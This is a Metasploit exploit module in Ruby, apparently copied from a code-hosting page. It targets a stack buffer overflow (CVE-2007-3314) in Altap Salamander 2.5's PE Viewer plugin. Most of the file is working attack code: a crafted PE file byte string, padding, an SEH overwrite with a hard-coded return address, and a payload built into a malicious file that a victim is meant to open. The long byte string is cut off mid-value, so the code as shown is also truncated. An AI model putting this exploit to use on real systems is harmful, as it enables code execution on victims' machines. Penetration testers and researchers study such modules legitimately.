81 lines
73 KiB
Ruby
81 lines
73 KiB
Ruby
|
##
|
||
|
# $Id$
|
||
|
##
|
||
|
|
||
|
##
|
||
|
# This file is part of the Metasploit Framework and may be subject to
|
||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||
|
# Framework web site for more information on licensing and terms of use.
|
||
|
# http://metasploit.com/framework/
|
||
|
##
|
||
|
|
||
|
require 'msf/core'
|
||
|
|
||
|
class Metasploit3 < Msf::Exploit::Remote
|
||
|
|
||
|
include Msf::Exploit::FILEFORMAT
|
||
|
include Msf::Exploit::Seh
|
||
|
|
||
|
def initialize(info = {})
|
||
|
super(update_info(info,
|
||
|
'Name' => 'Altap Salamander 2.5 PE Viewer Buffer Overflow',
|
||
|
'Description' => %q{
|
||
|
This module exploits a buffer overflow in Altap Salamander <= v2.5.
|
||
|
By creating a malicious file and convincing a user to view the file with
|
||
|
the Portable Executable Viewer plugin within a vulnerable version of
|
||
|
Salamander, the PDB file string is copied onto the stack and the
|
||
|
SEH can be overwritten.
|
||
|
},
|
||
|
'License' => MSF_LICENSE,
|
||
|
'Author' => [ 'patrick' ],
|
||
|
'Version' => '$Revision$',
|
||
|
'References' =>
|
||
|
[
|
||
|
[ 'CVE', '2007-3314' ],
|
||
|
[ 'BID', '24557' ],
|
||
|
[ 'OSVDB', '37579' ],
|
||
|
[ 'URL', 'http://vuln.sg/salamander25-en.html' ],
|
||
|
],
|
||
|
'DefaultOptions' =>
|
||
|
{
|
||
|
'EXITFUNC' => 'process',
|
||
|
},
|
||
|
'Payload' =>
|
||
|
{
|
||
|
'Space' => 1024,
|
||
|
'BadChars' => "\x00\x0d\x0a=:\\/%$^&*",
|
||
|
'StackAdjustment' => -3500,
|
||
|
},
|
||
|
'Platform' => 'win',
|
||
|
'Targets' =>
|
||
|
[
|
||
|
[ 'Universal Salamander 2.5', { 'Ret' => 0x23920b59 } ], # pop ebx; pop eax; ret salrtl.dll
|
||
|
],
|
||
|
'Privileged' => false,
|
||
|
'DisclosureDate' => 'Jun 19 2007',
|
||
|
'DefaultTarget' => 0))
|
||
|
|
||
|
register_options(
|
||
|
[
|
||
|
OptString.new('FILENAME', [ false, 'The file name.', 'msf-salamander-pdb.exe']),
|
||
|
OptString.new('OUTPUTPATH', [ false, 'The location of the file.', './data/exploits/']),
|
||
|
], self.class)
|
||
|
|
||
|
end
|
||
|
|
||
|
def exploit
|
||
|
|
||
|
seh = generate_seh_payload(target.ret)
|
||
|
|
||
|
sploit = "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE0\x00\x00\x00\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F\x74\x20\x62\x65\x20\x72\x75\x6E\x20\x69\x6E\x20\x44\x4F\x53\x20\x6D\x6F\x64\x65\x2E\x0D\x0D\x0A\x24\x00\x00\x00\x00\x00\x00\x00\x76\xEE\xF8\xA2\x32\x8F\x96\xF1\x32\x8F\x96\xF1\x32\x8F\x96\xF1\x3B\xF7\x05\xF1\x31\x8F\x96\xF1\x3B\xF7\x15\xF1\x3E\x8F\x96\xF1\x15\x49\xED\xF1\x30\x8F\x96\xF1\x32\x8F\x97\xF1\x1F\x8F\x96\xF1\x3B\xF7\x12\xF1\x3B\x8F\x96\xF1\x3B\xF7\x02\xF1\x33\x8F\x96\xF1\x3B\xF7\x07\xF1\x33\x8F\x96\xF1\x52\x69\x63\x68\x32\x8F\x96\xF1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x50\x45\x00\x00\x4C\x01\x07\x00\xD3\xD9\x99\x4A\x00\x00\x00\x00\x00\x00\x00\x00\xE0\x00\x02\x21\x0B\x01\x09\x00\x00\x34\x00\x00\x00\x3C\x00\x00\x00\x00\x00\x00\xC8\x10\x01\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x10\x00\x10\x00\x00\x00\x02\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\xB0\x01\x00\x00\x04\x00\x00\x00\x00\x00\x00\x02\x00\x40\x01\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x01\x00\x3C\x00\x00\x00\x00\x90\x01\x00\x09\x0C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xA0\x01\x00\x9C\x02\x00\x00\x20\x55\x01\x00\x1C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x81\x01\x00\x2C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x74\x65\x78\x74\x62\x73\x73\x00\x00\x01\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xA0\x00\x00\xE0\x2E\x74\x65\x78\x74\x00\x00\x00\x4E\x32\x00\x00\x00\x10\x01\x00\x00\x34\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x60\x2E\x72\x64\x61\x74\x61\x00\x00\xC2\x18\x00\x00\x00\x50\x01\x00\x00\x1A\x00\x00\x00\x38\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x40\x2E\x64\x61\x74\x61\x00\x00\x00\x74\x05\x00\x00\x00\x70\x01\x00\x00\x02\x00\x00\x00\x52\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\xC0\x2E\x69\x64\x61\x74\x61\x00\x00\x3B\x07\x00\x00\x00\x80\x01\x00\x00\x08\x00\x00\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\xC0\x2E\x72\x73\x72\x63\x00\x00\x00\x09\x0C\x00\x00\x00\x90\x01\x00\x00\x0E\x00\x00\x00\x5C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x40\x2E\x72\x65\x6C\x6F\x63\x00\x00\x1A\x04\x00\x00\x00\xA0\x01\x00\x00\x06\x00\x00\x00\x6A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x42\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0
|
||
|
sploit << rand_text_alphanumeric(1098) + seh
|
||
|
sploit << ".pdb"
|
||
|
|
||
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||
|
|
||
|
file_create(sploit)
|
||
|
|
||
|
end
|
||
|
|
||
|
end
|